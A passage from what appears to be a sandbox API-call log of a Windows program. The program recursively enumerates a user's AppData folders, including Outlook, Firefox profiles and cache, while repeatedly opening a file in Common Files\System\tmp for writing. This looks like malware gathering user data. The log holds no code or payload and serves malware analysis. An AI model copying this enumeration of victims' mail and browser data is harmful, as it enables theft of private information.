ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x887d70, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.703] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.703] GetLastError () returned 0x12 [0131.703] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.703] GetLastError () returned 0x12 [0131.703] AreFileApisANSI () returned 1 [0131.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.704] GetFileType (hFile=0x184) returned 0x1 [0131.704] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.704] AreFileApisANSI () returned 1 [0131.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.704] GetFileType (hFile=0x188) returned 0x1 [0131.704] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8, dwReserved1=0x834ed0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.704] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.705] GetLastError () returned 0x12 [0131.705] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.705] GetLastError () returned 0x12 [0131.705] AreFileApisANSI () returned 1 [0131.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.705] GetFileType (hFile=0x184) returned 0x1 [0131.705] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.705] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.705] GetLastError () returned 0x12 [0131.705] AreFileApisANSI () returned 1 [0131.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.705] GetFileType (hFile=0x184) returned 0x1 [0131.706] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.706] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.706] GetLastError () returned 0x12 [0131.706] AreFileApisANSI () returned 1 [0131.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.706] GetFileType (hFile=0x184) returned 0x1 [0131.706] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.706] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.706] GetLastError () returned 0x12 [0131.707] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0131.707] GetLastError () returned 0x12 [0131.707] AreFileApisANSI () returned 1 [0131.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0131.707] GetFileType (hFile=0x180) returned 0x1 [0131.707] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0131.707] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0131.707] GetLastError () returned 0x12 [0131.707] AreFileApisANSI () returned 1 [0131.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0131.707] GetFileType (hFile=0x180) returned 0x1 [0131.708] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0131.708] AreFileApisANSI () returned 1 [0131.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.708] GetFileType (hFile=0x184) returned 0x1 [0131.708] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.708] AreFileApisANSI () returned 1 [0131.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.708] GetFileType (hFile=0x188) returned 0x1 [0131.708] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x887d70, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.709] AreFileApisANSI () returned 1 [0131.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0131.709] GetFileType (hFile=0x18c) returned 0x1 [0131.709] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x239, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0131.709] AreFileApisANSI () returned 1 [0131.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0131.709] GetFileType (hFile=0x190) returned 0x1 [0131.710] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0131.710] AreFileApisANSI () returned 1 [0131.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.710] GetFileType (hFile=0x194) returned 0x1 [0131.710] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.710] AreFileApisANSI () returned 1 [0131.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.710] GetFileType (hFile=0x198) returned 0x1 [0131.711] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8c39470, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.711] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.711] GetLastError () returned 0x12 [0131.711] AreFileApisANSI () returned 1 [0131.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.711] GetFileType (hFile=0x198) returned 0x1 [0131.711] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.711] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.712] GetLastError () returned 0x12 [0131.712] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.712] GetLastError () returned 0x12 [0131.712] AreFileApisANSI () returned 1 [0131.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.712] GetFileType (hFile=0x194) returned 0x1 [0131.712] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0131.712] AreFileApisANSI () returned 1 [0131.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.712] GetFileType (hFile=0x198) returned 0x1 [0131.713] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.713] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.713] GetLastError () returned 0x12 [0131.713] AreFileApisANSI () returned 1 [0131.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.713] GetFileType (hFile=0x198) returned 0x1 [0131.713] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.713] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.714] GetLastError () returned 0x12 [0131.714] AreFileApisANSI () returned 1 [0131.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0131.714] GetFileType (hFile=0x198) returned 0x1 [0131.714] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0131.714] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0131.714] GetLastError () returned 0x12 [0131.714] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0131.714] GetLastError () returned 0x12 [0131.714] AreFileApisANSI () returned 1 [0131.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0131.714] GetFileType (hFile=0x194) returned 0x1 [0131.715] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application 